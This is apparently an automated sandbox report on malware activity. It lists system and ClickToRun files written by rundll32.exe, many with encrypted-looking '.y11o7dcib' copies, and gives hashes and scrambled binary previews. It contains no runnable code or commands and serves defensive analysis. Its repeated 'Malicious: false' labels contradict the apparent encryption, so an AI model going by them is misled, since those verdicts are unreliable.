Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	133074
Entropy (8bit):	6.916877335156404
Encrypted:	false
SSDEEP:	3072:z8lY+PtCWIoVcdJ2bUGKh1QBSrxrR+owEOWi0:zGpK1pVR+oFO2
MD5:	8DFAF717BD06AAAD9FAE093923618209
SHA1:	FCB6B52B46531A5FB906529AB2585CD851CC94BA
SHA-256:	4CE0AD6B261989E59E3A070B5C78C0AAA8E6DB2CD685D96F5DBD1EDF0635923A
SHA-512:	7BE7667FB718A14C3A1C4B65AAB2468BDF1DE729461E74B5FA3A7FE762F05DA5F927401A8AE98DF603DFC152520389D12069B7C62E36EA000595C71DA80F428D
Malicious:	false
Preview:	.F.$....D.R.<#.nG.P.z._W4......o.FR^.2<.i....(.....\|..}].)..........!..L.!This program cannot be run in DOS mode....$.............j[..j[..j[...[..j[..kZ..j[..nZ..j[..iZ..j[..oZ..j[y.nZ..j[...~Z....H..~`I...z.).c.....2..@.......i.)..=N.....D.c....>.............................PE..d....s.d.........." ... .............................................................J....`A..........q$....@.R..#..W.P.z._.4........GR..2..h.f..(<....\|...\.!.......N..............T...................x\..(...p...@...................Hq..@....................text.............................q$....n..3{.#....P..._........o.FR^.2<.i........j..\|..h]........\|..............@....pdata..............................@..@.didat..............................@....rsrc...X........ ........q$....@.RO.#..5}<..._.5......o.FR^..2<.i....(.....\|.}].(....................................................................................................................................q$....@.R..#..G.P.z._.4......o.FR^.2

C:\Program Files\Common Files\microsoft shared\ClickToRun\ServiceWatcherSchedule.xml

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4446
Entropy (8bit):	7.1257946813278545
Encrypted:	false
SSDEEP:	96:sDeXqrRhhKaT5lHejnALcwDZdzTgTLSlfHSznoBL7Zvs5KELS:IqURnKU5l+bgLRTgSsnoBxvs5fS
MD5:	263F3B16B1951ACECD24952EB15C8D68
SHA1:	6915434E83032F37143ECABCB7865C70BC890A69
SHA-256:	70D53D0C3FA2C7C54ACA47F005417198A71F85508BDD8C5E685049C7EE11CAC0
SHA-512:	A38CCF486BEF4C16B7AF1400B36CBC9DC694A88C3071206F85286C8A9BB0ABFA362D9C7EE701517430B9EE631A7899FB62E6FB9E59856795CEB486F0EED8E744
Malicious:	false
Preview:	..>)!I...E..fS}ALro=oOg...8.9...(.,..s.,.../.........'.I...+vd)3I...E..yS5A$r.= OZ...%.o....(.,..".e.../....T.F.B.b.T.[.+2vl)mI...E..2S.AYr'=3O!...5.l....(.,....a.../.........4.Z.@.+3v-)iI...E.)S\|AZr2=.O>.@.b.+...(.,..8.x../.....J.N.M.~....+bvP){I...E.2SyAHri=uOa.....j....(.,..[.,.../....!.....%.J....+nv7)3I...E..wS:A}r,=/O4.B.g.>...(.,..i.6.../....!.....%.J....+~v")>I...E.3S.AArr=nO0.=.?.g....(.,..7.x../..........\|.[.b.+vj)qI...E..LS+A.r==<O2.4.3.w....(.,..%.e.../.........`...B.+5v")sI...E..2SdA[rn=<Oz...3.$....(.,..4.,.../.........`.9.J.+,vm)mI...E.fSDAOr{=uOm...v.G....(.,....c.../.......P.!...G..+-vg)pI...E..%SyAHrn=tO....8.`....(.,..>.~../......H.../.T.n.+=vp)qI...E.2S%A.r2=XOk...5.v....(.,..>.b.../....E.T._.....D.+-vv)lI...E..)SeA`rs=zOa.N.[.....(.,..#.e.../.....V.}.J.T....+~v>)]I...E.(SoAHro=HO\|...1.c....(.,..[.,.../....E.T.".%...F.+7vv)wI...E..KS.A.r==<O..P.v.$...(.,..%.i.../...[.8.A...H...+0vv){I...E..*S5A$r.=<O..P.v.$...(.,....

C:\Program Files\Common Files\microsoft shared\ClickToRun\ServiceWatcherSchedule.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	4446
Entropy (8bit):	7.1257946813278545
Encrypted:	false
SSDEEP:	96:sDeXqrRhhKaT5lHejnALcwDZdzTgTLSlfHSznoBL7Zvs5KELS:IqURnKU5l+bgLRTgSsnoBxvs5fS
MD5:	263F3B16B1951ACECD24952EB15C8D68
SHA1:	6915434E83032F37143ECABCB7865C70BC890A69
SHA-256:	70D53D0C3FA2C7C54ACA47F005417198A71F85508BDD8C5E685049C7EE11CAC0
SHA-512:	A38CCF486BEF4C16B7AF1400B36CBC9DC694A88C3071206F85286C8A9BB0ABFA362D9C7EE701517430B9EE631A7899FB62E6FB9E59856795CEB486F0EED8E744
Malicious:	false
Preview:	..>)!I...E..fS}ALro=oOg...8.9...(.,..s.,.../.........'.I...+vd)3I...E..yS5A$r.= OZ...%.o....(.,..".e.../....T.F.B.b.T.[.+2vl)mI...E..2S.AYr'=3O!...5.l....(.,....a.../.........4.Z.@.+3v-)iI...E.)S\|AZr2=.O>.@.b.+...(.,..8.x../.....J.N.M.~....+bvP){I...E.2SyAHri=uOa.....j....(.,..[.,.../....!.....%.J....+nv7)3I...E..wS:A}r,=/O4.B.g.>...(.,..i.6.../....!.....%.J....+~v")>I...E.3S.AArr=nO0.=.?.g....(.,..7.x../..........\|.[.b.+vj)qI...E..LS+A.r==<O2.4.3.w....(.,..%.e.../.........`...B.+5v")sI...E..2SdA[rn=<Oz...3.$....(.,..4.,.../.........`.9.J.+,vm)mI...E.fSDAOr{=uOm...v.G....(.,....c.../.......P.!...G..+-vg)pI...E..%SyAHrn=tO....8.`....(.,..>.~../......H.../.T.n.+=vp)qI...E.2S%A.r2=XOk...5.v....(.,..>.b.../....E.T._.....D.+-vv)lI...E..)SeA`rs=zOa.N.[.....(.,..#.e.../.....V.}.J.T....+~v>)]I...E.(SoAHro=HO\|...1.c....(.,..[.,.../....E.T.".%...F.+7vv)wI...E..KS.A.r==<O..P.v.$...(.,..%.i.../...[.8.A...H...+0vv){I...E..*S5A$r.=<O..P.v.$...(.,....

C:\Program Files\Common Files\microsoft shared\ClickToRun\SharedPerformance.man

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	537655
Entropy (8bit):	6.5834852241348685
Encrypted:	false
SSDEEP:	12288:oaDffOfeqcY86/IiFymkc39dqJmZXIPFd:oaDXOfeqkliFymkciJmZcd
MD5:	A7AF98ABCEEE6A5A2D63A317B3B3B0BD
SHA1:	4EE3414DAC059D7748AA3AA7BEB7F5C41B8EE1A9
SHA-256:	9A0746D8ADB2150CD80F3E506DB14A0C8D9342B5D012177969947CCD5F666EA2
SHA-512:	4C2E43F90736C95F4CE8A180A2813420BD79330CE8873DDBE8EC7697A56F4363F25F20EAB1DB15F134E98A3F45BEEEB0C1AE261D833162C9DBC60E280BB9B4E5
Malicious:	false
Preview:	..=..6..E]o...Tv>&a..l....Bs...H.E.u.\.%M.i.fP..,q<.7..&3e.J4{mentationManifest.. xmlns="http://schemas.microsoft.com/win/2004/08/events".. xmlns:win="http://manifests.microsoft.com/.G+..&B...>..E.#.a5.t.........<`H.?.A.~[.5.aJ...z;8...l.!c6..t>01/XMLSchema">.. <instrumentation>.. <events>.. <provider.. name="Microsoft-AppV-SharedPerformance".. sym.A)..F .agB.%s>.SD...D."..\|B...U.&...g/.f(X.[x..\|.Z..M.^b[_f.4f. guid="{FB4A19EE-EB5A-47A4-BC52-E71AAC6D0859}".. resourceFileName="%windir%\system32\appvetwsharedperformance.dll"....e..6R.ZKu..K..yz#..o.@..[}...ne4.+.[.).^T.yN..E"g'.z..\j~".L+once.dll">.. <channels>.. <channel.. name="Microsoft-AppV-SharedPerformance/Analytic".. chid="Alz.#O..6R...&.WX.7u+d..c....O6...<`H.r..NdP.e.fR..r.U..M.Dm_\..}.GENT_SHAREDPERFORMANCE_ANALYTIC".. isolation="Application".. enabled="false" />.. </channels>.. <.K3..eL.=.&.W.Sg0i..t...!....<`H.r.D.=

C:\Program Files\Common Files\microsoft shared\ClickToRun\SharedPerformance.man.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	537655
Entropy (8bit):	6.5834852241348685
Encrypted:	false
SSDEEP:	12288:oaDffOfeqcY86/IiFymkc39dqJmZXIPFd:oaDXOfeqkliFymkciJmZcd
MD5:	A7AF98ABCEEE6A5A2D63A317B3B3B0BD
SHA1:	4EE3414DAC059D7748AA3AA7BEB7F5C41B8EE1A9
SHA-256:	9A0746D8ADB2150CD80F3E506DB14A0C8D9342B5D012177969947CCD5F666EA2
SHA-512:	4C2E43F90736C95F4CE8A180A2813420BD79330CE8873DDBE8EC7697A56F4363F25F20EAB1DB15F134E98A3F45BEEEB0C1AE261D833162C9DBC60E280BB9B4E5
Malicious:	false
Preview:	..=..6..E]o...Tv>&a..l....Bs...H.E.u.\.%M.i.fP..,q<.7..&3e.J4{mentationManifest.. xmlns="http://schemas.microsoft.com/win/2004/08/events".. xmlns:win="http://manifests.microsoft.com/.G+..&B...>..E.#.a5.t.........<`H.?.A.~[.5.aJ...z;8...l.!c6..t>01/XMLSchema">.. <instrumentation>.. <events>.. <provider.. name="Microsoft-AppV-SharedPerformance".. sym.A)..F .agB.%s>.SD...D."..\|B...U.&...g/.f(X.[x..\|.Z..M.^b[_f.4f. guid="{FB4A19EE-EB5A-47A4-BC52-E71AAC6D0859}".. resourceFileName="%windir%\system32\appvetwsharedperformance.dll"....e..6R.ZKu..K..yz#..o.@..[}...ne4.+.[.).^T.yN..E"g'.z..\j~".L+once.dll">.. <channels>.. <channel.. name="Microsoft-AppV-SharedPerformance/Analytic".. chid="Alz.#O..6R...&.WX.7u+d..c....O6...<`H.r..NdP.e.fR..r.U..M.Dm_\..}.GENT_SHAREDPERFORMANCE_ANALYTIC".. isolation="Application".. enabled="false" />.. </channels>.. <.K3..eL.=.&.W.Sg0i..t...!....<`H.r.D.=

C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3670490
Entropy (8bit):	7.0720045504236895
Encrypted:	false
SSDEEP:	49152:NKLZHxKN5Sw4m9vNoLQ47CtGShYGiMHIAwgAMw9wMrSak2J5vnTiBg8aG0rcstg:a3U5LB9VI71GiMHJwgDp2S+tg
MD5:	122F2B45B83FF3A85BE6A052228E6A0C
SHA1:	BB43673A1A71B508C56E4117C7B2E07949185CB1
SHA-256:	5CDFB3BD1A8E82D062719B73C501ABC8CED70C48487C3B4BEE62C2E47408B19C
SHA-512:	4846A3120B6A08A503B8495796A38DEA0ABB881DD4008BDB649EAE9A2BC60B408328411BB2571E6B2F35724EA1F4C6CF013C43335F97DCFCC6DD763898D4A904
Malicious:	false
Preview:	E..,i.t."}..\|.T..0......k.q.m"SY.....#P..v..ff...g.^.h>J..i...........!..L.!This program cannot be run in DOS mode....$.......I.....b...b...b......b.m.c...b.m.f...b.m.a...b......b......b..$..~I.....36.......t...Kb.1..s....2.q..g...LlS..R...".\|.r..Jh.k.'.b.h.b...b.h.....b.h.`...b.Rich..b.........PE..d...#..e.........." ... ..#..........H........................................C,j.t.h.....4o.0......+.q.m"SY.....#P..f..ff...g.N.h>^#5iM..........`7.......5..C....7..N...p7......./.T.......................(....f$.@.............#.(............................text....5X,j.t.&....T..0......+.q.M"S9.....BP.....E..3h.^.K>J..i.......@..@.data....Y....3..V....3.............@....pdata...C....5..D....4.............@..@.didat.......P7...... 7.............@...&..^..t..y....c..6...2..+.q.m"SY.....#PV2....f..ag.^k_>J2.i................@..B..................................................................................................................{,j.t.&}....T..0......+.q.m"SY.....#P.

C:\Program Files\Common Files\microsoft shared\ClickToRun\StreamServer.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3670490
Entropy (8bit):	7.0720045504236895
Encrypted:	false
SSDEEP:	49152:NKLZHxKN5Sw4m9vNoLQ47CtGShYGiMHIAwgAMw9wMrSak2J5vnTiBg8aG0rcstg:a3U5LB9VI71GiMHJwgDp2S+tg
MD5:	122F2B45B83FF3A85BE6A052228E6A0C
SHA1:	BB43673A1A71B508C56E4117C7B2E07949185CB1
SHA-256:	5CDFB3BD1A8E82D062719B73C501ABC8CED70C48487C3B4BEE62C2E47408B19C
SHA-512:	4846A3120B6A08A503B8495796A38DEA0ABB881DD4008BDB649EAE9A2BC60B408328411BB2571E6B2F35724EA1F4C6CF013C43335F97DCFCC6DD763898D4A904
Malicious:	false
Preview:	E..,i.t."}..\|.T..0......k.q.m"SY.....#P..v..ff...g.^.h>J..i...........!..L.!This program cannot be run in DOS mode....$.......I.....b...b...b......b.m.c...b.m.f...b.m.a...b......b......b..$..~I.....36.......t...Kb.1..s....2.q..g...LlS..R...".\|.r..Jh.k.'.b.h.b...b.h.....b.h.`...b.Rich..b.........PE..d...#..e.........." ... ..#..........H........................................C,j.t.h.....4o.0......+.q.m"SY.....#P..f..ff...g.N.h>^#5iM..........`7.......5..C....7..N...p7......./.T.......................(....f$.@.............#.(............................text....5X,j.t.&....T..0......+.q.M"S9.....BP.....E..3h.^.K>J..i.......@..@.data....Y....3..V....3.............@....pdata...C....5..D....4.............@..@.didat.......P7...... 7.............@...&..^..t..y....c..6...2..+.q.m"SY.....#PV2....f..ag.^k_>J2.i................@..B..................................................................................................................{,j.t.&}....T..0......+.q.m"SY.....#P.

C:\Program Files\Common Files\microsoft shared\ClickToRun\SubsystemController.man

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	27871
Entropy (8bit):	6.709697553714387
Encrypted:	false
SSDEEP:	384:XVl4UZ2JFwTFiOOZG2RoMDO9pYSZg9wBTZMuEs1cXFZWoN86FE/GJd1hr9UtiH2R:Fl4uq9B+Dh/CWJSnTWFa2FIPo
MD5:	F74F0A88D03FAB7A1738D03D1CCF4A12
SHA1:	676C847EF2CF4208C7B2A698EAEDA9C31B35A11B
SHA-256:	18EE30071DC801F6B83E16F146DABC2DA848C15C55653EE43182928AA43CB764
SHA-512:	862063FC9281BC721B950BF44CA3035AFABCF8F1B30830B9055AA7F6F1D803EDB78FDB2E7D3A08A558DFA1A5513AAE244B6AC3C607D8ACA009899D6C07061591
Malicious:	false
Preview:	{.;.....f..z)$..C'x..s9d.?.&....gRBO._d0V.9_...Z/x.fp.."7..+. xsi:schemaLocation="http://schemas.microsoft.com/win/2004/08/events eventman.xsd" xmlns="http://schemas.microsoft.com/win/2004/w.l.....7.yxh...l6..x"t.k.4....,.....81:J.>B...W4tDxv.qi..a../windows/events" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:trace="/.7...}..ug(.A.w7..v"..>.4...IxZPD..mw<N.#Y..F:z.-!..Je..=.umentation>....<events>.....<provider name="Microsoft-AppV-Client-SubsystemController" guid="{D49E7F7D-2036-451A-9EE6-6EF93BD216u.>.....z..6DT.~:A...].C...T.>;'.:6/.....l..x-..g.\&P\........." resourceFileName="%windir%\system32\appv_etw_subsystem_controller.dll" messageFileName="%windir%\system32\appv_etw_subsystem_c(.7.....;..x6&.M.v9..-t$.".i...H......!=4{.#Y...X>kE_m..*=..`..me)">......<channels>.......<channel name="Microsoft-AppV-Client-SubsystemController/Debug" chid="Dbg" symbol="CHANNEL_APPV_CLIE.........A..KWI.\|!J...B.D...\.J..:.]R..7

C:\Program Files\Common Files\microsoft shared\ClickToRun\SubsystemController.man.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	27871
Entropy (8bit):	6.709697553714387
Encrypted:	false
SSDEEP:	384:XVl4UZ2JFwTFiOOZG2RoMDO9pYSZg9wBTZMuEs1cXFZWoN86FE/GJd1hr9UtiH2R:Fl4uq9B+Dh/CWJSnTWFa2FIPo
MD5:	F74F0A88D03FAB7A1738D03D1CCF4A12
SHA1:	676C847EF2CF4208C7B2A698EAEDA9C31B35A11B
SHA-256:	18EE30071DC801F6B83E16F146DABC2DA848C15C55653EE43182928AA43CB764
SHA-512:	862063FC9281BC721B950BF44CA3035AFABCF8F1B30830B9055AA7F6F1D803EDB78FDB2E7D3A08A558DFA1A5513AAE244B6AC3C607D8ACA009899D6C07061591
Malicious:	false
Preview:	{.;.....f..z)$..C'x..s9d.?.&....gRBO._d0V.9_...Z/x.fp.."7..+. xsi:schemaLocation="http://schemas.microsoft.com/win/2004/08/events eventman.xsd" xmlns="http://schemas.microsoft.com/win/2004/w.l.....7.yxh...l6..x"t.k.4....,.....81:J.>B...W4tDxv.qi..a../windows/events" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:trace="/.7...}..ug(.A.w7..v"..>.4...IxZPD..mw<N.#Y..F:z.-!..Je..=.umentation>....<events>.....<provider name="Microsoft-AppV-Client-SubsystemController" guid="{D49E7F7D-2036-451A-9EE6-6EF93BD216u.>.....z..6DT.~:A...].C...T.>;'.:6/.....l..x-..g.\&P\........." resourceFileName="%windir%\system32\appv_etw_subsystem_controller.dll" messageFileName="%windir%\system32\appv_etw_subsystem_c(.7.....;..x6&.M.v9..-t$.".i...H......!=4{.#Y...X>kE_m..*=..`..me)">......<channels>.......<channel name="Microsoft-AppV-Client-SubsystemController/Debug" chid="Dbg" symbol="CHANNEL_APPV_CLIE.........A..KWI.\|!J...B.D...\.J..:.]R..7

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l1-2-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18938
Entropy (8bit):	7.429733399754699
Encrypted:	false
SSDEEP:	384:UCOhW3WtGfRfjCxCPkViKjlHVh+mRUo3jLCd:UCOltRCKx1h+m1U
MD5:	ECBC6A3EA1DD097E95658B1DB8C7F3A8
SHA1:	0E4D7C2DD101A311FA3A2C882CE43E90169F8F62
SHA-256:	B808FE0349C4F304144E0BCDAE16D919EA5D205B441DFC7E0DE96E15AD9DB5C4
SHA-512:	6DE1D14E518DAADCFA64E711074C995E776ECAB21C84BD49BAAE4ADC0705AA299B19F24F6BE80DE43721604BCA30362723C52F1DCBFECFEAE9BC34AC0FA024A5
Malicious:	false
Preview:	?...y6'{.....e=.....H1a...I......iv>..........Q...D\|\|A....Tg........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........rC..z6'{.....Se=U.....3a..vYI.......v...........Y...D\|\|A..j.Tg.................................0............`.........................................`...L............ ...................<..rC..z6'{....'Se=.....H1a....I......iv>..........Q...D\|\|A..j.Tg.........................rdata..\...........................@..@.rsrc........ ......................@..@........................rC..z6'{.....Se=.....H1a....I......iv>..........Q...D\|\|A..j.Tg................................................................................................................................rC..z6'{.....Se=.....H1a....I......iv>..........Q...D\|\|A..j.Tg................................................................................................................................rC..z6'{.....Se=.....H1a....I......iv>.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l1-2-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18938
Entropy (8bit):	7.429733399754699
Encrypted:	false
SSDEEP:	384:UCOhW3WtGfRfjCxCPkViKjlHVh+mRUo3jLCd:UCOltRCKx1h+m1U
MD5:	ECBC6A3EA1DD097E95658B1DB8C7F3A8
SHA1:	0E4D7C2DD101A311FA3A2C882CE43E90169F8F62
SHA-256:	B808FE0349C4F304144E0BCDAE16D919EA5D205B441DFC7E0DE96E15AD9DB5C4
SHA-512:	6DE1D14E518DAADCFA64E711074C995E776ECAB21C84BD49BAAE4ADC0705AA299B19F24F6BE80DE43721604BCA30362723C52F1DCBFECFEAE9BC34AC0FA024A5
Malicious:	false
Preview:	?...y6'{.....e=.....H1a...I......iv>..........Q...D\|\|A....Tg........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........rC..z6'{.....Se=U.....3a..vYI.......v...........Y...D\|\|A..j.Tg.................................0............`.........................................`...L............ ...................<..rC..z6'{....'Se=.....H1a....I......iv>..........Q...D\|\|A..j.Tg.........................rdata..\...........................@..@.rsrc........ ......................@..@........................rC..z6'{.....Se=.....H1a....I......iv>..........Q...D\|\|A..j.Tg................................................................................................................................rC..z6'{.....Se=.....H1a....I......iv>..........Q...D\|\|A..j.Tg................................................................................................................................rC..z6'{.....Se=.....H1a....I......iv>.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l2-1-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18938
Entropy (8bit):	7.477092886575393
Encrypted:	false
SSDEEP:	384:wRouugERQ5nhWNKkCrfpHjVnxeyr+ahqvlzjPOvYWAzifz0:wRouu78noCF/rnhqvwv/AzR
MD5:	C98C2BE2A4FE4393DE96D7DEB8BA9D04
SHA1:	EFD64E509D9A1A0E1C73239AEBB83EED1A2DEA8D
SHA-256:	5C65DC662596C372BE21B59E4D328BF1EEBA8595637EA561B2E14BF47CAEF0BD
SHA-512:	94B5362F9F3348EE103DE4ABDB587A4B3B23C9291907EC54C8B7A812354F65D70BC388412E4A7B44778157038A7EF2FE3D612403C8692F6393340E413F12DE04
Malicious:	false
Preview:	.}[r{N..i.j..h..Ge..`....^/.%!.]a3..'......=.[,.........E)..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S...........'.rxN..m.j..ch.t.e.....#./.%!.]a3.........=.S,.........9...................................0......{r....`.........................................`................ ...................<...'.rxN..m.j..ch.$Ge..`..S.^/.%!.]a3..'......=.[,.........)...........................rdata..............................@..@.rsrc........ ......................@..@.........................'.rxN..m.j..ch.$Ge..`..S.^/.%!.]a3..'......=.[,.........)...................................................................................................................................'.rxN..m.j..ch.$Ge..`..S.^/.%!.]a3..'......=.[,.........)...................................................................................................................................'.rxN..m.j..ch.$Ge..`..S.^/.%!.]a3..'.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-file-l2-1-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	18938
Entropy (8bit):	7.477092886575393
Encrypted:	false
SSDEEP:	384:wRouugERQ5nhWNKkCrfpHjVnxeyr+ahqvlzjPOvYWAzifz0:wRouu78noCF/rnhqvwv/AzR
MD5:	C98C2BE2A4FE4393DE96D7DEB8BA9D04
SHA1:	EFD64E509D9A1A0E1C73239AEBB83EED1A2DEA8D
SHA-256:	5C65DC662596C372BE21B59E4D328BF1EEBA8595637EA561B2E14BF47CAEF0BD
SHA-512:	94B5362F9F3348EE103DE4ABDB587A4B3B23C9291907EC54C8B7A812354F65D70BC388412E4A7B44778157038A7EF2FE3D612403C8692F6393340E413F12DE04
Malicious:	false
Preview:	.}[r{N..i.j..h..Ge..`....^/.%!.]a3..'......=.[,.........E)..........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S...........'.rxN..m.j..ch.t.e.....#./.%!.]a3.........=.S,.........9...................................0......{r....`.........................................`................ ...................<...'.rxN..m.j..ch.$Ge..`..S.^/.%!.]a3..'......=.[,.........)...........................rdata..............................@..@.rsrc........ ......................@..@.........................'.rxN..m.j..ch.$Ge..`..S.^/.%!.]a3..'......=.[,.........)...................................................................................................................................'.rxN..m.j..ch.$Ge..`..S.^/.%!.]a3..'......=.[,.........)...................................................................................................................................'.rxN..m.j..ch.$Ge..`..S.^/.%!.]a3..'.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-localization-l1-2-0.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21498
Entropy (8bit):	7.499252068553372
Encrypted:	false
SSDEEP:	384:x0fwPp3VwtG5ue0IRrndsWmP/gEeK+a+PQKZoSPPJJbbdCc6aDWk:qfwPpFwtaN0IRrndgAB2KTPPJpxCc6a3
MD5:	7EC6AB12F1EFEED07404262955D4E6AD
SHA1:	2ED02565798AACB8721705EC689FF5A1D4BF4546
SHA-256:	1A05C986A12A3F3FDCC00CDC990738399236B5FADC1767024EAF883B7F084FFE
SHA-512:	75A0BC53DDC4C354079FF7B17301A748A38D442D8A28F49D64DE236BA5747DCACDD09B5FCC10DA70B5802D5A7466D34BDA04F9701B3EB00C3C03F6759E4EA4CF
Malicious:	false
Preview:	.U..........}.iTqN.vo. .H..C......TK...J.^ec.aG...w................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........A.j........e}...qN..m.T..C.C.....#Ti...F.^ec.aU...w.........................................0......w.....`.........................................`................ ...................<..A.j........e}..TqN.vo.`.H..C......TK...J.^ec.aG...w.................................rdata..............................@..@.rsrc........ ......................@..@........................A.j........e}..TqN.vo.`.H..C......TK...J.^ec.aG...w........................................................................................................................................A.j........e}..TqN.vo.`.H..C......TK...J.^ec.aG...w........................................................................................................................................A.j........e}..TqN.vo.`.H..C......TK.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-localization-l1-2-0.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	21498
Entropy (8bit):	7.499252068553372
Encrypted:	false
SSDEEP:	384:x0fwPp3VwtG5ue0IRrndsWmP/gEeK+a+PQKZoSPPJJbbdCc6aDWk:qfwPpFwtaN0IRrndgAB2KTPPJpxCc6a3
MD5:	7EC6AB12F1EFEED07404262955D4E6AD
SHA1:	2ED02565798AACB8721705EC689FF5A1D4BF4546
SHA-256:	1A05C986A12A3F3FDCC00CDC990738399236B5FADC1767024EAF883B7F084FFE
SHA-512:	75A0BC53DDC4C354079FF7B17301A748A38D442D8A28F49D64DE236BA5747DCACDD09B5FCC10DA70B5802D5A7466D34BDA04F9701B3EB00C3C03F6759E4EA4CF
Malicious:	false
Preview:	.U..........}.iTqN.vo. .H..C......TK...J.^ec.aG...w................!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........A.j........e}...qN..m.T..C.C.....#Ti...F.^ec.aU...w.........................................0......w.....`.........................................`................ ...................<..A.j........e}..TqN.vo.`.H..C......TK...J.^ec.aG...w.................................rdata..............................@..@.rsrc........ ......................@..@........................A.j........e}..TqN.vo.`.H..C......TK...J.^ec.aG...w........................................................................................................................................A.j........e}..TqN.vo.`.H..C......TK...J.^ec.aG...w........................................................................................................................................A.j........e}..TqN.vo.`.H..C......TK.

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-processthreads-l1-1-1.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.46571034917917
Encrypted:	false
SSDEEP:	384:iM3eWvWXWHkldP5/4OupCRZMMllA6RhMjPar98:VeWm54BnMg0MjCr98
MD5:	F12B3A1E9E1289C4EB7F84CAADFEFC89
SHA1:	27FC8FF4B2C3FEF1FFE257F2809E8F6E3773CFFF
SHA-256:	106DF25E77488F149E2A4323972CB84771A3CA4651C2B2CE4CA725677C59AA77
SHA-512:	70101280BB21A0BBF274756727B96C60EF34AB695E72E0D40176665D985BB1113608506EA3357713D9E1F4DEC1660EF79FA0F4FA2E415B6AD3BF6AA06CF97BCC
Malicious:	false
Preview:	y$...N...Y....~R...O."...6.OY0}. ./a.['.r`.A..F.h....%.Wt&.1........!..L.!This program cannot be run in DOS mode....$.......m2..)S..)S..)S....].(S....A.+S....^.(S....C.(S..Rich)S..........4~A..N...Y...:.~....+( .s..OY0}. ./..y..pl.A..F.b....%.W.6.1.................................0.......[....`.........................................`................ ...................<..4~A..N...I...:.~....O.".G.6.OY0}. ./a.['.r`.A..F.h....%.W.&.1.........................rdata..............................@..@.rsrc........ ......................@..@........................4~A..N...Y...:.~....O.".G.6.OY0}. ./a.['.r`.A..F.h....%.W.&.1................................................................................................................................4~A..N...Y...:.~....O.".G.6.OY0}. ./a.['.r`.A..F.h....%.W.&.1................................................................................................................................4~A..N...Y...:.~....O.".G.6.OY0}. ./a.['

C:\Program Files\Common Files\microsoft shared\ClickToRun\api-ms-win-core-processthreads-l1-1-1.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	19450
Entropy (8bit):	7.46571034917917
Encrypted:	false
SSDEEP:	384:iM3eWvWXWHkldP5/4OupCRZMMllA6RhMjPar98:VeWm54BnMg0MjCr98
MD5:	F12B3A1E9E1289C4EB7F84CAADFEFC89
SHA1:	27FC8FF4B2C3FEF1FFE257F2809E8F6E3773CFFF
SHA-256:	106DF25E77488F149E2A4323972CB84771A3CA4651C2B2CE4CA725677C59AA77
SHA-512:	70101280BB21A0BBF274756727B96C60EF34AB695E72E0D40176665D985BB1113608506EA3357713D9E1F4DEC1660EF79FA0F4FA2E415B6AD3BF6AA06CF97BCC
Malicious:	false
